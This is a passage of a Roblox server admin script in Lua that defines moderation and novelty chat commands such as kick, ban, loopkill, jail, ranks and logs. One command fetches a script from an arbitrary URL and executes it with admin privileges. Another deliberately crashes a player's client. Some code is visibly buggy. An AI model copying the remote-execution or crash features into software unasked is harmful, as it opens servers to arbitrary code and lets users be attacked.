5702 AddMessage:Invoke(UserName, Message, Error)
5703 end)
5704 SendPressed.Event:connect(function(Text)
5705 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Player.Name..": "..Text)
5706 IRC:AddChat(Player.Name, Text)
5707 end)
5708 end
5709 end};
5710
5711 [{"prichat", "privatechat", "pchat"}] = {"player", "Allows player to join the server's private chat", 1, "Admin", false, function(Speaker, Rank, Arguments)
5712 local Players = STRING:Scan(Arguments[1], Speaker)
5713 for _,Player in pairs(Players) do
5714 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "Private chat", "Lock", PriChat.Chats, function(Type)
5715 if Type == "Leave" then
5716 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has left the chat")
5717 elseif Type == "Join" then
5718 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has joined the chat")
5719 end
5720 end)
5721 PriChat.Chatted.Event:connect(function(UserName, Message)
5722 AddMessage:Invoke(UserName, Message)
5723 end)
5724 SendPressed.Event:connect(function(Text)
5725 PriChat.Chatted:Fire(Player.Name, Text)
5726 table.insert(PriChat.Chats, {Player.Name, Text})
5727 end)
5728 end
5729 end};
5730
5731 [{"script", "exe"}] = {"string", "Will execute a script with global admin variables", 1, "Owner", false, function(Speaker, Rank, Arguments)
5732 ExecuteSafe(Arguments[1], Speaker)
5733 end};
5734
5735 [{"exehttp", "httpexe", "remoteexe", "plugin", "pluginhttp", "httpplugin", "remoteplugin"}] = {"string(URL)", "Will execute a script with global admin variables from the link", 1, "Owner", false, function(Speaker, Rank, Arguments)
5736 local Script = REMOTE:GetURL(Arguments[1], Player)
5737 if Script then
5738 ExecuteSafe(Script, Speaker)
5739 end
5740 end, Http = true};
5741
5742 [{"ping", "url", "link", "http"}] = {"string(URL)", "Pings string which is a URL", 1, "Member", false, function(Speaker, Rank, Arguments)
5743 local Time = tick()
5744 local Res = REMOTE:GetURL(Arguments[1], Player)
5745 if Res then
5746 GUI:SendMessage(Speaker, "Ping complete", "Response to: "..Arguments[1].." was complete in "..string.sub(tostring(tick() - Time),1,5).." seconds. Response: "..string.char(13, 10)..Res, "Check")
5747 end
5748 end, Http = true};
5749
5750 [{"removeadmin", "ra"}] = {"", "Removes admin permanently", 0, "Owner", false, function(Speaker, Rank, Arguments)
5751 CORE:RemoveAdmin(Speaker)
5752 end};
5753
5754 [{"h", "hint"}] = {"hint string", "Gives everyone in the server a hint string", 1, "Member", false, function(Speaker, Rank, Arguments)
5755 for _,Player in pairs(Server.Players:GetPlayers()) do
5756 GUI:SendHint(Player, Arguments[1], nil, Speaker)
5757 end
5758 end};
5759
5760 [{"murica", "merica", "america"}] = {"murica player", "You'll have to find out yourself", 1, "Admin", false, function(Speaker, Rank, Arguments)
5761 local Players = STRING:Scan(Arguments[1], Speaker)
5762 local Debt = nil
5763 for _,Player in pairs(Players) do
5764 if not Debt then
5765 Debt = GUI:ShowDebtStats(Player)
5766 else
5767 GUI:ShowDebtStats(Player, Debt)
5768 end
5769 end
5770 end, Http = true};
5771
5772 [{"hud", "target", "profiler"}] = {"player", "Opens a gui HUD that allows player to see player data", 1, "Owner", false, function(Speaker, Rank, Arguments)
5773 local Players = STRING:Scan(Arguments[1], Speaker)
5774 for _,Player in pairs(Players) do
5775 GUI:CreateHUD(Player)
5776 end
5777 end};
5778
5779 [{"nohud", "notarget", "noprofiler", "unhud", "untarget", "unprofiler"}] = {"player", "Removes HUD Gui if it's on the player", 1, "Owner", false, function(Speaker, Rank, Arguments)
5780 local Players = STRING:Scan(Arguments[1], Speaker)
5781 for _,Player in pairs(Players) do
5782 if Player:FindFirstChild("PlayerGui") then
5783 local HUD = Player.PlayerGui:FindFirstChild("Ma".."ke".."r".."m".."odelLu".."a's HUD Gui")
5784 if HUD then HUD:Destroy() end
5785 end
5786 end
5787 end};
5788
5789 [{"vote", "poll"}] = {"player string", "Gives player 30 seconds to answer yes or no to the question string", 2, "Member", false, function(Speaker, Rank, Arguments)
5790 local Players = STRING:Scan(Arguments[1], Speaker)
5791 GUI:Vote(Speaker, Players, Arguments[2], 30)
5792 end};
5793
5794 [{"bomb", "terrorist", "suicide"}] = {"player", "Puts an explosive IED device on player", 1, "Admin", true, function(Speaker, Rank, Arguments)
5795 local Players = STRING:Scan(Arguments[1], Speaker)
5796 for _,Player in pairs(Players) do
5797 CORE:ExecuteResource("Bomb", Player.Character)
5798 end
5799 end};
5800
5801 [{"debug", "d", "regen"}] = {"player", "Respawns player wherever they are at and fixes camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5802 local Players = STRING:Scan(Arguments[1], Speaker)
5803 for _,Player in pairs(Players) do
5804 CORE:ChangeCharacter(Player, Player.UserId, false, Speaker)
5805 CORE:RestoreCamera(Player)
5806 end
5807 end};
5808
5809 [{"debugme", "dm", "regenme"}] = {"player", "Respawns speaker wherever they are at and fixes camera", 0, "Member", false, function(Speaker, Rank, Arguments)
5810 CORE:ChangeCharacter(Speaker, Speaker.UserId, false, Speaker)
5811 CORE:RestoreCamera(Speaker)
5812 end};
5813
5814 [{"tp", "teleport", "tele"}] = {"player1 player2", "Teleports player 1 to player 2", 2, "Member", false, function(Speaker, Rank, Arguments)
5815 local Players1 = STRING:Scan(Arguments[1], Speaker)
5816 local Players2 = STRING:Scan(Arguments[2], Speaker)
5817 for _,Player1 in pairs(Players1) do
5818 if Player1.Character and Player1.Character:FindFirstChild("Torso") then
5819 for _,Player2 in pairs(Players2) do
5820 if Player2.Character and Player2.Character:FindFirstChild("Torso") then
5821 Player1.Character:MoveTo(Player2.Character.Torso.Position)
5822 end
5823 end
5824 end
5825 end
5826 end};
5827
5828 [{"respawn", "resp", "res"}] = {"player", "Respawns player", 1, "Member", false, function(Speaker, Rank, Arguments)
5829 local Players = STRING:Scan(Arguments[1], Speaker)
5830 for _,Player in pairs(Players) do
5831 Player:LoadCharacter()
5832 end
5833 end};
5834
5835 [{"fixcam", "fixcamera"}] = {"player", "Fixes player's camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5836 local Players = STRING:Scan(Arguments[1], Speaker)
5837 for _,Player in pairs(Players) do
5838 CORE:RestoreCamera(Player)
5839 end
5840 end};
5841
5842 [{"jail"}] = {"player", "Puts player in a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5843 local Players = STRING:Scan(Arguments[1], Speaker)
5844 for _,Player in pairs(Players) do
5845 CORE:Jail(Player)
5846 end
5847 end};
5848
5849 [{"nojail", "unjail"}] = {"player", "Takes player out of a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5850 local Players = STRING:Scan(Arguments[1], Speaker)
5851 for _,Player in pairs(Players) do
5852 CORE:UnJail(Player)
5853 end
5854 end};
5855
5856 [{"say", "speak", "charles", "talk"}] = {"string", "Will have Charles 2.0 say the text string", 1, "Member", false, function(Speaker, Rank, Arguments)
5857 SOUND:SayConvertedText(SOUND:ConvertText(Arguments[1]))
5858 end};
5859
5860 [{"nosay", "nospeak", "nocharles", "notalk", "unsay", "unspeak", "uncharles", "stoptalking", "stopspeak", "stopcharles", "stopsay", "shush", "shutup"}] = {"", "Stops Charles 2.0 talking", 0, "Member", false, function(Speaker, Rank, Arguments)
5861 SOUND:StopSpeaking()
5862 end};
5863
5864 [{"info", "information"}] = {"player", "Show's player's info", 1, "Member", false, function(Speaker, Rank, Arguments)
5865 local Players = STRING:Scan(Arguments[1], Speaker)
5866 local Compile = {}
5867 for Num,Player in pairs(Players) do
5868 local PlayerRank = RANK:GetRank(Player)
5869 local PlayerInfo = ClientInfo[Player.Name]
5870 table.insert(Compile, {"Name: "..Player.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Player.Name})
5871 table.insert(Compile, "User ID: "..Player.UserId)
5872 table.insert(Compile, "Age: "..STRING:FindAge(Player.AccountAge))
5873 table.insert(Compile, "Rank: "..PlayerRank)
5874
5875 if PlayerInfo.Accelerometer ~= nil then table.insert(Compile, "Has Accelerometer: "..STRING:BoolString(PlayerInfo.Accelerometer)) end
5876 if PlayerInfo.Gyroscope ~= nil then table.insert(Compile, "Has Gyroscope: "..STRING:BoolString(PlayerInfo.Gyroscope)) end
5877 if PlayerInfo.Gamepad ~= nil then table.insert(Compile, "Has Gamepad: "..STRING:BoolString(PlayerInfo.Gamepad)) end
5878 if PlayerInfo.Mouse ~= nil then table.insert(Compile, "Has Mouse: "..STRING:BoolString(PlayerInfo.Mouse)) end
5879 if PlayerInfo.Keyboard ~= nil then table.insert(Compile, "Has Keyboard: "..STRING:BoolString(PlayerInfo.Keyboard)) end
5880 if PlayerInfo.TouchScreen ~= nil then table.insert(Compile, "Has TouchScreen: "..STRING:BoolString(PlayerInfo.TouchScreen)) end
5881 if PlayerInfo.Benchmark then
5882 table.insert(Compile, "BLUE BENCHMARK: "..PlayerInfo.Benchmark)
5883 end
5884 if Num ~= #Players then table.insert(Compile, "-----------------------------") end
5885 end
5886 GUI:ListGui(Speaker, "Information on "..#Players.." player(s)", Compile, "Information", false, false)
5887 end};
5888
5889 [{"loopkill", "lkill", "loopk"}] = {"player num", "Kills player num times", 2, "Admin", false, function(Speaker, Rank, Arguments)
5890 if tonumber(Arguments[2]) then
5891 local Players = STRING:Scan(Arguments[1], Speaker)
5892 for _,Player in pairs(Players) do
5893 coroutine.wrap(function()
5894 if Player.Character then
5895 table.insert(LoopKills, Player.Name)
5896 local Loop = nil
5897 local PrevChar = nil
5898
5899 for i = 1,tonumber(Arguments[2]) do
5900 local Char = Player.Character
5901 if PrevChar and PrevChar ~= Char then
5902 PrevChar:Destroy()
5903 end
5904 PrevChar = Char
5905 local CanDie = true
5906 for _,Name in pairs(LoopKills) do if Name == Player.Name then CanDie = true end end
5907 if CanDie == false then
5908 break
5909 end
5910 ypcall(function() Char.Parent = Server.Lighting end)
5911 wait(0.1)
5912 ypcall(function() Char.Parent = Server.Workspace end)
5913 wait(0.1)
5914 end
5915 end
5916 end)()
5917 end
5918 else
5919 GUI:SendMessage(Speaker, "Cannot execute", "RED Argument 2 is not a valid number", "Error")
5920 end
5921 end};
5922
5923 [{"noloopkill", "nolkill", "noloopk", "unloopkill", "unlkill", "unloopk"}] = {"player num", "Stops any loop kills on a player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5924 local Players = STRING:Scan(Arguments[1], Speaker)
5925 for _,Player in pairs(Players) do
5926 for Num,Name in pairs(LoopKills) do
5927 if Player.Name == Name then
5928 table.remove(LoopKills, Num)
5929 end
5930 end
5931 end
5932 end};
5933
5934 [{"sound", "audio", "music"}] = {"num/string", "Plays the sound ID or string from the soundlist", 1, "Member", false, function(Speaker, Rank, Arguments)
5935 SOUND:PlayGlobalSound(Arguments[1])
5936 end};
5937
5938 [{"nosound", "noaudio", "nomusic", "stopsound", "stopaudio", "stopmusic"}] = {"", "Removes the current sound playing", 0, "Member", false, function(Speaker, Rank, Arguments)
5939 SOUND:StopGlobalSound()
5940 SOUND:ClearInfo()
5941 end};
5942
5943 [{"pitch"}] = {"num", "Sets the pitch of the current sound to num", 1, "Member", false, function(Speaker, Rank, Arguments)
5944 local Pitch = tonumber(Arguments[1])
5945 if not Pitch then Pitch = 1 end
5946 if Sound then
5947 Sound.Pitch = Pitch
5948 end
5949 end};
5950
5951 [{"search", "searchsound", "searchsounds", "searchaudio", "searchmusic", "ss"}] = {"string", "Searches the catalog for the sound string", 1, "Member", false, function(Speaker, Rank, Arguments)
5952 local CloseGui, AddInfo = GUI:LoadGui(Speaker, "Searching for: "..Arguments[1])
5953 local Items = MARKET:SearchItem(9, Arguments[1])
5954 if Items then
5955 if #Items ~= 0 then
5956 local List,Correlate = {},{}
5957 for Num,Info in pairs(Items) do
5958 local Display = " "..Info.Name.." by: "..Info.Creator.." ("..Info.AssetId..")"
5959 table.insert(List, Display)
5960 Correlate[Display] = Info.AssetId
5961 end
5962 CloseGui:Invoke()
5963
5964 local CanClick = true
5965 if Rank == "Member" then CanClick = false end
5966 local Clicked = GUI:ListGui(Speaker, "Search Results: "..Arguments[1], List, "Search", CanClick)
5967 Clicked.Event:connect(function(ClickName)
5968 local OldSoundId = nil
5969 SOUND:StopGlobalSound()
5970 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
5971 SOUND:PlayGlobalSound(Correlate[ClickName])
5972 end
5973 end)
5974 else
5975 CloseGui:Invoke()
5976 GUI:SendMessage(Speaker, "No results", "BLUE No results for "..Arguments[1].." found...", "Information")
5977 end
5978 else
5979 CloseGui:Invoke()
5980 GUI:SendMessage(Speaker, "Cannot get audio", "RED Cannot get audio. Is HttpService enabled?", "Error")
5981 end
5982 end, Http = true};
5983
5984 [{"gun"}] = {"player", "Gives player a gun", 1, "Member", false, function(Speaker, Rank, Arguments)
5985 local Players = STRING:Scan(Arguments[1], Speaker)
5986 for _,Player in pairs(Players) do
5987 if Player.Character then
5988 CORE:ExecuteResource("Gun", Player.Character)
5989 end
5990 end
5991 end};
5992
5993 [{"sink", "pothole", "quicksand"}] = {"player", "Sinks the player", 1, "Member", true, function(Speaker, Rank, Arguments)
5994 local Players = STRING:Scan(Arguments[1], Speaker)
5995 for _,Player in pairs(Players) do
5996 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
5997 local Hole = Instance.new("Part", Player.Character) Hole.Name = "Hole" Hole.BrickColor = BrickColor.new("Really black") Hole.Size = Vector3.new(5,1.2,5) Hole.Anchored = true Hole.CanCollide = fals Hole.Locked = true Hole.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0) * CFrame.Angles(0,0,0) Instance.new("CylinderMesh", Hole)
5998 Player.Character.Humanoid.WalkSpeed = 0
5999 Player.Character.Torso.Anchored = true
6000 coroutine.wrap(function()
6001 local OldCFrame = Player.Character.Torso.CFrame
6002 for i = 0,8,0.1 do
6003 Player.Character.Torso.CFrame = OldCFrame * CFrame.new(0,-i,0)
6004 wait()
6005 end
6006 Player.Character.Torso.Anchored = false
6007 Player.Character:BreakJoints()
6008 CORE:InvisiblePlayer(Player)
6009 end)()
6010 end
6011 end
6012 end};
6013
6014 [{"freeze", "anchor"}] = {"player", "Freezes player in place", 1, "Member", false, function(Speaker, Rank, Arguments)
6015 local Players = STRING:Scan(Arguments[1], Speaker)
6016 for _,Player in pairs(Players) do
6017 CORE:AnchorPlayer(Player)
6018 end
6019 end};
6020
6021 [{"nofreeze", "unfreeze", "noanchor", "unanchor", "thaw"}] = {"player", "Unfreezes player", 1, "Member", false, function(Speaker, Rank, Arguments)
6022 local Players = STRING:Scan(Arguments[1], Speaker)
6023 for _,Player in pairs(Players) do
6024 CORE:UnanchorPlayer(Player)
6025 end
6026 end};
6027
6028 [{"invisible", "invis"}] = {"player", "Makes player invisible", 1, "Member", false, function(Speaker, Rank, Arguments)
6029 local Players = STRING:Scan(Arguments[1], Speaker)
6030 for _,Player in pairs(Players) do
6031 CORE:InvisiblePlayer(Player)
6032 end
6033 end};
6034
6035 [{"visible", "vis"}] = {"player", "Makes player visible", 1, "Member", false, function(Speaker, Rank, Arguments)
6036 local Players = STRING:Scan(Arguments[1], Speaker)
6037 for _,Player in pairs(Players) do
6038 CORE:VisiblePlayer(Player)
6039 end
6040 end};
6041
6042 [{"asteroid", "comet", "meteor", "meteorite"}] = {"player", "Shoots an asteroid at player", 1, "Member", true, function(Speaker, Rank, Arguments)
6043 local Players = STRING:Scan(Arguments[1], Speaker)
6044 for _,Player in pairs(Players) do
6045 if Player.Character and Player.Character:FindFirstChild("Torso") then
6046 local Ast = Instance.new("Part", Server.Workspace) Ast.Name = "Asteroid" Ast.Position = Player.Character.Torso.Position + Vector3.new(0,500,0) Ast.Size = Vector3.new(12,12,12)
6047 local Mesh = Instance.new("SpecialMesh", Ast) Mesh.MeshId = "rbxassetid://1290033" Mesh.Scale = Vector3.new(6.2,6.2,6.2) Mesh.TextureId = "rbxassetid://1290030"
6048 local Fire = Instance.new("Fire", Ast) Fire.Heat = 25 Fire.Size = 30
6049 local Smoke = Instance.new("Smoke", Ast) Smoke.RiseVelocity = 10 Smoke.Size = 10
6050 local BoomSound = SOUND:MakeSound(Ast, 188590169, 1, 1)
6051 local Fly = SOUND:MakeSound(Ast, 179438534, 1, 1, true)
6052 Fly:Play()
6053 local Touched = false
6054 coroutine.wrap(function()
6055 repeat wait(0.1)
6056 Ast.Position = Vector3.new(Player.Character.Torso.Position.X, Ast.Position.Y, Player.Character.Torso.Position.Z)
6057 until not Ast or Ast.Parent == nil or Touched == true
6058 end)()
6059 Ast.Touched:connect(function(Part)
6060 if Touched == false then
6061 Touched = true
6062 Part:BreakJoints()
6063 local Boom = Instance.new("Explosion", Workspace)
6064 Boom.Position = Ast.Position
6065 Boom.BlastPressure = 1000000
6066 Boom.BlastRadius = 30
6067 Fire.Heat = 0
6068 Smoke.RiseVelocity = 0
6069 Fly:Stop()
6070 BoomSound:Play()
6071 coroutine.wrap(function()
6072 wait(3)
6073 BoomSound:Stop()
6074 if Ast and Ast.Parent ~= nil then
6075 Ast:Destroy()
6076 end
6077 end)()
6078 end
6079 end)
6080 end
6081 end
6082 end};
6083
6084 [{"kick"}] = {"player", "Will kick player out of the server", 1, "Admin", false, function(Speaker, Rank, Arguments)
6085 local Success = {}
6086 local Players = STRING:Scan(Arguments[1], Speaker)
6087 for _,Player in pairs(Players) do
6088 local PlayerRank = RANK:GetRank(Player)
6089 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
6090 CORE:Kick(Player)
6091 table.insert(Success, Player)
6092 end
6093 end
6094 REMOTE:SendHttpLog(Speaker.Name.." kicked "..CORE:UnpackPlayers(Success), "INFORMATION")
6095 end};
6096
6097 [{"ban"}] = {"player", "Will ban player and will be unable to join", 1, "Admin", false, function(Speaker, Rank, Arguments)
6098 local Success = {}
6099 local Players = STRING:Scan(Arguments[1], Speaker)
6100 for _,Player in pairs(Players) do
6101 local PlayerRank = RANK:GetRank(Player)
6102 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
6103 RANK:RemoveRank(Player)
6104 table.insert(Settings.Ranks.Banned, Player.Name)
6105 CORE:Kick(Player)
6106 table.insert(Success, Player)
6107 end
6108 end
6109 REMOTE:SendHttpLog(Speaker.Name.." banned "..CORE:UnpackPlayers(Success), "WARNING")
6110 end};
6111
6112 [{"crash"}] = {"player", "Will crash player with a painful BSOD", 1, "Owner", false, function(Speaker, Rank, Arguments)
6113 local Success = {}
6114 local Players = STRING:Scan(Arguments[1], Speaker)
6115 for _,Player in pairs(Players) do
6116 local PlayerRank = RANK:GetRank(Player)
6117 if PlayerRank ~= "Owner" then
6118 RANK:RemoveRank(Player)
6119 table.insert(Settings.Ranks.Crashed, Player.Name)
6120 CORE:Crash(Player)
6121 table.insert(Success, Player)
6122 end
6123 end
6124 REMOTE:SendHttpLog(Speaker.Name.." crashed "..CORE:UnpackPlayers(Success), "INFORMATION")
6125 end};
6126
6127 [{"mute"}] = {"player", "Makes player unable to talk", 1, "Owner", false, function(Speaker, Rank, Arguments)
6128 local Success = {}
6129 local Players = STRING:Scan(Arguments[1], Speaker)
6130 for _,Player in pairs(Players) do
6131 local PlayerRank = RANK:GetRank(Player)
6132 if PlayerRank ~= "Owner" then
6133 RANK:RemoveRank(Player)
6134 table.insert(Settings.Ranks.Muted, Player.Name)
6135 GUI:CoreGui(Player, "Chat", false)
6136 table.insert(Success, Player)
6137 end
6138 end
6139 REMOTE:SendHttpLog(Speaker.Name.." has muted "..CORE:UnpackPlayers(Success), "INFORMATION")
6140 end};
6141
6142 [{"noadmin", "unadmin", "nomember", "unmember", "nomem", "unmem", "noowner", "unowner", "noown", "unown", "nocrash", "uncrash", "noban", "unban", "nomute", "unmute", "derank"}] = {"player", "Removes whatever rank player has(if your rank is sufficient enough to override player's)", 1, "Admin", false, function(Speaker, Rank, Arguments)
6143 local Players = STRING:Scan(Arguments[1], Speaker)
6144 if #Players > 0 then
6145 local Success = {}
6146 for _,Player in pairs(Players) do
6147 local RankName,RankNum = RANK:GetRank(Player)
6148 if RankNum < RANK:ConvertRank(Rank) or RANK:IsSupremeOwner(Speaker) then
6149 if not RANK:IsSupremeOwner(Player) then
6150 if RankName == "Muted" then
6151 GUI:CoreGui(Player, "Chat", true)
6152 end
6153 if RankNum > 0 then
6154 GUI:TellNotAdmin(Player)
6155 end
6156 RANK:RemoveRank(Player)
6157 table.insert(Success, Player)
6158 end
6159 end
6160 end
6161 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..CORE:UnpackPlayers(Players), "INFORMATION")
6162 else
6163 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6164 if Player then
6165 local RankNum = RANK:ConvertRank(PlayerRank)
6166 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6167 if not RANK:IsSupremeOwner(Player) then
6168 RANK:RemoveRank(Player)
6169 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..Player, "INFORMATION")
6170 end
6171 end
6172 end
6173 end
6174 end};
6175
6176 [{"member", "mem"}] = {"player", "Adds player to the member list", 1, "Admin", false, function(Speaker, Rank, Arguments)
6177 local Players = STRING:Scan(Arguments[1], Speaker)
6178 if #Players > 0 then
6179 local Success = {}
6180 for _,Player in pairs(Players) do
6181 local PlayerRank,RankNum = RANK:GetRank(Player)
6182 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6183 RANK:RemoveRank(Player)
6184 table.insert(Settings.Ranks.Member, Player.Name)
6185 GUI:TellAdmin(Player)
6186 table.insert(Success, Player)
6187 end
6188 end
6189 REMOTE:SendHttpLog(Speaker.Name.." has membered "..CORE:UnpackPlayers(Success), "INFORMATION")
6190 else
6191 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6192 if Player then
6193 local RankNum = RANK:ConvertRank(PlayerRank)
6194 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6195 if not RANK:IsSupremeOwner(Player) then
6196 RANK:RemoveRank(Player)
6197 table.insert(Settings.Ranks.Member, Player)
6198 end
6199 end
6200 else
6201 RANK:RemoveRank(Arguments[1])
6202 table.insert(Settings.Ranks.Member, Arguments[1])
6203 end
6204 end
6205 end};
6206
6207 [{"admin", "adm"}] = {"player", "Adds player to the admin list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6208 local Players = STRING:Scan(Arguments[1], Speaker)
6209 if #Players > 0 then
6210 local Success = {}
6211 for _,Player in pairs(Players) do
6212 local PlayerRank,RankNum = RANK:GetRank(Player)
6213 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6214 RANK:RemoveRank(Player)
6215 table.insert(Settings.Ranks.Admin, Player.Name)
6216 GUI:TellAdmin(Player)
6217 table.insert(Success, Player)
6218 end
6219 end
6220 REMOTE:SendHttpLog(Speaker.Name.." has admined "..CORE:UnpackPlayers(Success), "INFORMATION")
6221 else
6222 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6223 if Player then
6224 local RankNum = RANK:ConvertRank(PlayerRank)
6225 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6226 if not RANK:IsSupremeOwner(Player) then
6227 RANK:RemoveRank(Player)
6228 table.insert(Settings.Ranks.Admin, Player)
6229 end
6230 end
6231 else
6232 RANK:RemoveRank(Arguments[1])
6233 table.insert(Settings.Ranks.Admin, Arguments[1])
6234 end
6235 end
6236 end};
6237
6238 [{"owner", "own"}] = {"player", "Adds player to the owner list(Speaker must be game owner)", 1, "Owner", false, function(Speaker, Rank, Arguments)
6239 local Players = STRING:Scan(Arguments[1], Speaker)
6240 if RANK:IsSupremeOwner(Speaker) then
6241 if #Players > 0 then
6242 local Success = {}
6243 for _,Player in pairs(Players) do
6244 if not RANK:IsSupremeOwner(Player) then
6245 RANK:RemoveRank(Player)
6246 table.insert(Settings.Ranks.Owner, Player.Name)
6247 GUI:TellAdmin(Player)
6248 table.insert(Success, Player)
6249 end
6250 end
6251 REMOTE:SendHttpLog(Speaker.Name.." has ownered "..CORE:UnpackPlayers(Success), "INFORMATION")
6252 else
6253 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6254 if Player then
6255 local RankNum = RANK:ConvertRank(PlayerRank)
6256 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6257 if not RANK:IsSupremeOwner(Player) then
6258 RANK:RemoveRank(Player)
6259 table.insert(Settings.Ranks.Owner, Player)
6260 end
6261 end
6262 else
6263 RANK:RemoveRank(Arguments[1])
6264 table.insert(Settings.Ranks.Owner, Arguments[1])
6265 end
6266 end
6267 end
6268 end};
6269
6270 [{"admins", "adminlist"}] = {"", "Lists all admins in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6271 local TableStorage = {}
6272 for _,Obj in pairs(Settings.Ranks.Member) do table.insert(TableStorage, Obj..": Member") end
6273 for _,Obj in pairs(Settings.Ranks.Admin) do table.insert(TableStorage, Obj..": Admin") end
6274 for _,Obj in pairs(Settings.Ranks.Owner) do table.insert(TableStorage, "BOLD: "..Obj..": Owner") end
6275 GUI:ListGui(Speaker, "Admin List", TableStorage, 45961462)
6276 end};
6277
6278 [{"serveradmins", "sa"}] = {"", "Lists all admins in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
6279 local TableStorage = {}
6280 for _,Player in pairs(Server.Players:GetChildren()) do
6281 local ValidAdmin,PlayerRank = RANK:IsAdmin(Player)
6282 if ValidAdmin then
6283 if PlayerRank == "Owner" then
6284 table.insert(TableStorage, "BOLD: "..Player.Name..": Owner")
6285 else
6286 table.insert(TableStorage, Player.Name..": "..PlayerRank)
6287 end
6288 end
6289 end
6290 GUI:ListGui(Speaker, "Server admin List", TableStorage, 76198987)
6291 end};
6292
6293 [{"bans", "banlist"}] = {"", "Lists all players who've been banned", 0, "Member", false, function(Speaker, Rank, Arguments)
6294 GUI:ListGui(Speaker, "Ban List", Settings.Ranks.Banned, 163337795)
6295 end};
6296
6297 [{"crashes", "crashlist"}] = {"", "Lists all players who've been crashed", 0, "Member", false, function(Speaker, Rank, Arguments)
6298 GUI:ListGui(Speaker, "Crash List", Settings.Ranks.Crashed, 35480917)
6299 end};
6300
6301 [{"mutes", "muted", "mutelist"}] = {"", "Lists all players who've been muted", 0, "Member", false, function(Speaker, Rank, Arguments)
6302 GUI:ListGui(Speaker, "Mute List", Settings.Ranks.Muted, 202000870)
6303 end};
6304
6305 [{"exiles", "exilelist"}] = {"", "Lists all the exiled players(banned, crashed, muted) in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6306 local TableStorage = {}
6307 for _,Obj in pairs(Settings.Ranks.Banned) do table.insert(TableStorage, Obj..": Banned") end
6308 for _,Obj in pairs(Settings.Ranks.Crashed) do table.insert(TableStorage, Obj..": Crashed") end
6309 for _,Obj in pairs(Settings.Ranks.Muted) do table.insert(TableStorage, Obj..": Muted") end
6310 GUI:ListGui(Speaker, "Exile List", TableStorage, 132769258)
6311 end};
6312
6313 [{"ranked", "ranks", "ranklist"}] = {"", "Lists all the players ranked in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6314 local TableStorage = {}
6315 for PlayerRank,PlayerNames in pairs(Settings.Ranks) do
6316 for Num,PlayerName in pairs(PlayerNames) do
6317 if PlayerRank == "Owner" then
6318 table.insert(TableStorage, "BOLD: "..PlayerName..": Owner")
6319 else
6320 table.insert(TableStorage, PlayerName..": "..PlayerRank)
6321 end
6322 end
6323 end
6324 GUI:ListGui(Speaker, "Rank List", TableStorage, 21341765)
6325 end};
6326
6327 [{"logs", "commandlogs", "cmdlogs"}] = {"", "Lists all the logs of executed commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6328 GUI:ListGui(Speaker, "Command Logs", CORE:ReverseTable(CommandLogs), "Log")
6329 end};
6330
6331 [{"chatlogs"}] = {"", "Lists all the logs of players who've chatted", 0, "Admin", false, function(Speaker, Rank, Arguments)
6332 GUI:ListGui(Speaker, "Chat Logs", CORE:ReverseTable(ChatLogs), "Log")
6333 end};
6334
6335 [{"irclogs"}] = {"", "Lists all the logs of irc output", 0, "Admin", false, function(Speaker, Rank, Arguments)
6336 GUI:ListGui(Speaker, "IRC Logs", CORE:ReverseTable(IRC.Logs), "Log")
6337 end};
6338
6339 [{"exploitlogs"}] = {"", "Lists all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6340 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
6341 if type(ExploitLog) ~= "table" then ExploitLog = {} end
6342 GUI:ListGui(Speaker, "Exploit Logs", ExploitLog, "Log")
6343 end};
6344
6345 [{"clearlogs", "clearcommandlogs", "clearcmdlogs"}] = {"", "Clears all the logs of executed commands", 0, "Owner", false, function(Speaker, Rank, Arguments)
6346 CommandLogs = {}
6347 end};
6348
6349 [{"clearchatlogs"}] = {"", "Clears all the logs of players who've chatted", 0, "Owner", false, function(Speaker, Rank, Arguments)
6350 ChatLogs = {}
6351 end};
6352
6353 [{"clearirclogs"}] = {"", "Clears all the logs of irc output", 0, "Owner", false, function(Speaker, Rank, Arguments)
6354 IRC.Logs = {}
6355 end};
6356
6357 [{"clearalllogs", "resetlogs"}] = {"", "Clears ALL logs (Command, Chat, IRC) but not exploit logs", 0, "Owner", false, function(Speaker, Rank, Arguments)
6358 CommandLogs = {}
6359 ChatLogs = {}
6360 IRC.Logs = {}
6361 end};
6362
6363 [{"clearexploitlogs"}] = {"", "Clears all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6364 Server.GDS:SetAsync("ExploitLog", {})
6365 end};
6366
